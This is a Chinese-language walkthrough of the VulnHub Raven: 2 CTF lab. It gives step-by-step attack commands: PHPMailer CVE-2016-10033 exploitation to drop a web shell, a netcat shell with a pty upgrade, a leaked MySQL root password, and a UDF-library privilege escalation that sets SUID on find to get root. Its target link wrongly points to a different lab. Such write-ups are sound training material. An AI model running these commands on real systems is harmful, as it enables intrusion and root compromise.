VulnHub-Raven: 2

admin 2021年10月1日11:00:43评论216 views字数 3494阅读11分38秒阅读模式



靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

靶机发布日期:2018年5月4日

靶机描述:Raven:2是中级boot2root VM。有四个要捕获的标志。在多次破坏之后,Raven Security采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以破坏Raven:2?

目标:找到四个flag.txt信息

请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

VulnHub-Raven: 2



VulnHub-Raven: 2

一、信息收集

VulnHub-Raven: 2



我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:

VulnHub-Raven: 2

这里还能使用arp-scan -l 或者 netdiscover来获取需要攻击主机的IP地址。

主机IP:192.168.182.142

第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口扫描:

VulnHub-Raven: 2

看到目标开放了22、80、111端口,其中80端口运行了一个web应用,可以通过入侵web进入系统,由于介绍系统人员加固了改系统设置的系统口令太强,这里没进行爆破。(爆破起来估计要几天...)

VulnHub-Raven: 2

我打算使用dirb进行目录爆破,这里我在重复介绍一次dirb

dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测

dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

VulnHub-Raven: 2

扫了我10多分钟...看到了好多目录,一个一个从往下看,然后找到http://192.168.182.142/vendor目录有个目录遍历。

VulnHub-Raven: 2

然后继续一个一个打开看,信息收集过程就是这样,要有耐心....

很顺利的在PATH文件里面发现flag1

VulnHub-Raven: 2

获得网站绝对路径:/var/www/html/vendor/

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

按照难度,应该不会有第二个flag2能这么简单找到了....但是还是一个一个往下看....无用的信息我就过滤不写出来了

VulnHub-Raven: 2

VulnHub-Raven: 2

我们在README.md文件中看出来这个靶机有一个PHPMailer 邮件服务

版本是5.2.16



VulnHub-Raven: 2

二、漏洞利用

VulnHub-Raven: 2




搜索PHPMailer版本小于5.2.20存在远程代码执行漏洞

VulnHub-Raven: 2


使用searchsploit 搜索可以利用的漏洞

VulnHub-Raven: 2

也可以到exploit-db.com搜索,并发现利用exp地址:

VulnHub-Raven: 2

漏洞的编号为CVE-2016-10033

VulnHub-Raven: 2

命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root

将exp考出,需要针对PHPMailer修改参数

VulnHub-Raven: 2


VulnHub-Raven: 2

我这边把40974.py改名:dayu.py了

这边如果第一次用python执行shell的话,python dayu.py

VulnHub-Raven: 2

会报错,需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

执行python dayu.py 

VulnHub-Raven: 2

访问contact.php(http://192.168.182.142/contact.php),此时就会生成后门文件shell.php

VulnHub-Raven: 2

接着访问后门文件:http://192.168.182.142/shell.php

VulnHub-Raven: 2

这边用nc开启监听服务,成功用python shell拿到了低权限www-data

继续用python获取pty,前面两章都有介绍

命令:python -c 'import pty;pty.spawn("/bin/bash")'

VulnHub-Raven: 2

这边目标是拿到四个flag文件,目前只拿到了一个。

我尝试使用find查看cd /var 目录下是否有flag文件

VulnHub-Raven: 2

这里很幸运的找到了flag2和flag3,我们进入获取信息

VulnHub-Raven: 2

VulnHub-Raven: 2

这里flag3在图片里是png文件,直接web访问就能查看:http://192.168.182.142/wordpress/wp-content/uploads/2018/11/flag3.png

下一步是要获取靶机root权限才能查看flag4.txt 这又要开始一波艰难的旅程了....

去网站根目录下看看有没有什么有用的信息

VulnHub-Raven: 2

找到一个目录wordpress

进去有一个config,配置文件,查看


VulnHub-Raven: 2

用户:root,密码:R@v3nSecurity




VulnHub-Raven: 2

三、权限提升

VulnHub-Raven: 2




发现数据库root登录的密码

在这里利用Linux枚举漏洞工具LinEnum(数据库渗透好东西)

下载地址:https://github.com/rebootuser/LinEnum

下载完,我们用python搭建以一个简易的服务器来把文件下载到靶机里面

命令:python -m SimpleHTTPServer 5555

VulnHub-Raven: 2

VulnHub-Raven: 2

上传成功

VulnHub-Raven: 2

需要提权,chmod提权后./LinEnum.sh执行

VulnHub-Raven: 2

可以查看到Mysql是用root登陆的,还有另外一种简单的方法...脑补完才知道

VulnHub-Raven: 2

或者使用命令:ps aux | grep root,查看到当前以root用户身份运行的所有进程。(最近在脑补数据库漏洞利用)...

现在要查找MySQL版本

进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录:ps -ef|grep mysql

或者使用命令:dpkg -l | grep mysqlmysql查看

VulnHub-Raven: 2

命令:dpkg -l | grep mysql

VulnHub-Raven: 2

命令:mysql -u root -pR@v3nSecurity

命令:select version();

可以看到运行是5.5版,还有另外一种方法查看我使用了梯子访问谷歌查看了很多信息,此版本的MySQL容易受到UDF(用户定义函数)漏洞的攻击。

VulnHub-Raven: 2

VulnHub-Raven: 2

可以利用1518.c这个UDF特殊漏洞

MySQL中UDF漏洞学习:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

(这里我是用谷歌翻译来慢慢学习的,耐心学习每个漏洞!!)

想获取1518exploit有两种方法:

1)获取地址:https://www.exploit-db.com/exploits/1518

2)也可以在kali里面搜索,我还是比较喜欢使用kali

VulnHub-Raven: 2

命令:searchsploit 1518.c

命令:cp /usr/share/exploitdb/exploits/linux/local/1518.c /root 拷出

VulnHub-Raven: 2

接着就是利用提权exp的利用了1518.c在kali上进行编译生成so文件:

命令:gcc -g -c 1518.c

命令:gcc -g -shared -o dayu.so 1518.o -lc

-g 生成调试信息

-c 编译(二进制)

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名

-lc:-l 库 c库名

VulnHub-Raven: 2

使用前面的python 5555服务传输到靶机

然后通过mysql进行UDF提权

进入数据库创建数据表 foo

命令:create table foo(line blob);

VulnHub-Raven: 2

插入数据:insert into foo values(load_file('/tmp/dayu.so'));

VulnHub-Raven: 2

Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出

outfile 多行导出,dumpfile一行导出

outfile会有特殊的转换,而dumpfile是原数据导出

新建存储函数

命令:select * from foo into dumpfile '/usr/lib/mysql/plugin/dayu.so';

VulnHub-Raven: 2

创建自定义函数do_system 类型是integer,别名(soname)文件名字

然后查询函数是否创建成功

VulnHub-Raven: 2

命令:create function do_system returns integer soname 'dayu.so';

VulnHub-Raven: 2

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

命令:select * from mysql.func;

命令:select do_system(‘chmod u+s /usr/bin/find’);

VulnHub-Raven: 2

执行find命令

使用find执行 shell

命令:find / -exec '/bin/sh ’ ;

VulnHub-Raven: 2

成功提权查看flag4.txt


VulnHub-Raven: 2




VulnHub-Raven: 2



本文始发于微信公众号(暗影安全):VulnHub-Raven: 2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月1日11:00:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   VulnHub-Raven: 2http://cn-sec.com/archives/386306.html

发表评论

匿名网友 填写信息